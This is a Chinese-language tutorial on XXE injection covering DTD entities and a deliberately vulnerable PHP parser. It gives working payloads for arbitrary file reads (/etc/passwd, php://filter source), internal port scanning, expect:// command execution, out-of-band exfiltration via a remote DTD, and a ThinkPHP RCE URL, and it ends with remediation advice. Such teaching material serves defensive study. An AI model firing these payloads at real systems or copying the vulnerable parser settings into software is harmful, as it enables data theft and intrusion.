XXE漏洞(原理、挖掘点、漏洞利用、修复建议)
XXE外部实体框架引入
一、DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
0x00. 实体又分为一般实体和参数实体
1. 一般实体的声明语法
<!ENTITY 实体名 "实体内容">
引用实体的方式:&实体名;
2. 参数实体只能在DTD中使用
参数实体的声明格式:<!ENTITY % 实体名 "实体内容">
引用实体的方式:%实体名;
0x01. 实体声明方法
1. 内部实体声明
<!ENTITY 实体名称 "实体的值"> ex:<!ENTITY eviltest "eviltest">
注意和DTD中的元素声明区别
完整实例:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
<?xml version="1.0"?>
<!DOCTYPE t [
<!ENTITY a "aaaa">
<!ENTITY b "bbbb">
]>
<t>&b;</t>
2. 外部实体声明
<!ENTITY 实体名称 SYSTEM "URI">
完整实例:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY a SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&a;©right;</author>
二、XXE漏洞demo
有回显XML:
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
在请求体构造XML
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Hello world!" >]>
无回显XML:
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
构造请求数据:
三、XXE的攻击与危害(XML External Entity)
0x00. 何为XXE?
答: xxe也就是xml外部实体注入。也就是上文中加粗的那一部分。
0x01. 怎样构建外部实体注入?
方式一:直接通过DTD外部实体声明
XML内容
windows:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY ddd SYSTEM "file:///d:/test.txt">
]>
<test>&ddd;</test>
linux:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY ddd SYSTEM "file:////etc/passwd">
]>
<test>&ddd;</test>
方式二:通过DTD文档引入外部DTD文档,再引入外部实体声明
XML内容:
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://远程服务器/evil.dtd">
<a>&b;</a>
DTD文件内容:
<!ENTITY b SYSTEM "file://etc/passwd">
0x02. 支持的协议
不同程序支持的协议如下图:
其中php支持的协议会更多一些,但需要一定的扩展支持。
0x03. 产生哪些危害?
XXE利用1:读取任意文件
1.Windows 读取文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY ddd SYSTEM "file:///d:/test.txt">
]>
<test>&ddd;</test>
2.Linux 读取文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY ddd SYSTEM "file:///etc/passwd">
]>
<test>&ddd;</test>
3.读取php源码
通过php协议去读取源码
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>
<?xml version="1.0"?>
<!DOCTYPE ddd [
<!ENTITY o SYSTEM "php://filter/read=convert.base64-encode/resource=xxe_1.php">
]>
<ddd>&o;</ddd>
XXE利用2:内网端口扫描
<?xml version = "1.0"?>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:8908" >]>
<x>&xxe;</x>
通过页面反馈时间长短判断端口开放
反馈长端口关闭,反馈短端口开放。
XXE利用3:远程代码执行
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,就可以尝试执行命令。
<?xml version = "1.0"?>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "expect://whoami" >]>
<x>&xxe;</x>
XXE利用4:盲打无回显XXE
外部文档类型定义(DTD)文件可被用于触发OOB XXE。攻击者将.dtd文件托管在VPS上,使远程易受攻击的服务器获取该文件并执行其中的恶意命令。
构造payload:
<?xml version="1.0" ?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://192.168.110.133:8081/test.dtd">
%remote;%int;%send;
]>
VPS(192.168.110.133)中 test.dtd文件内容
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/2.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.110.133:8081/?p=%file;'>">
让我们花点时间了解上述请求的执行流程:
我们从payload中能看到连续待用了三个参数实体%remote;%int;%send;,这就是我们的利用顺序,%remote;先调用,调用后请求远程服务器上的xxe.dtd,有点类似于将xxe.dtd包含进来,然后%int;调用xxe.dtd中的%file;,%file;就会去获取服务器上面的敏感文件,然后将%file;的结果填入到%send;后面(因为实体的值中不能有%,所以将其转换成html实体编码%#37;),我们在调用%send;把我们读取到的数据发送到我们远程VPS上,这样就实现了外带数据的效果,完美解决了XXE无回显的问题。
XXE利用5:攻击内网WEB服务
<?xml version = "1.0"?>
<!DOCTYPE x [
<!ENTITY xxe SYSTEM "http://192.168.1.136:80/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami" >
]>
<x>&xxe;</x>
四、XXE漏洞修复
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、过滤用户提交的XML数据
关键词:
<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。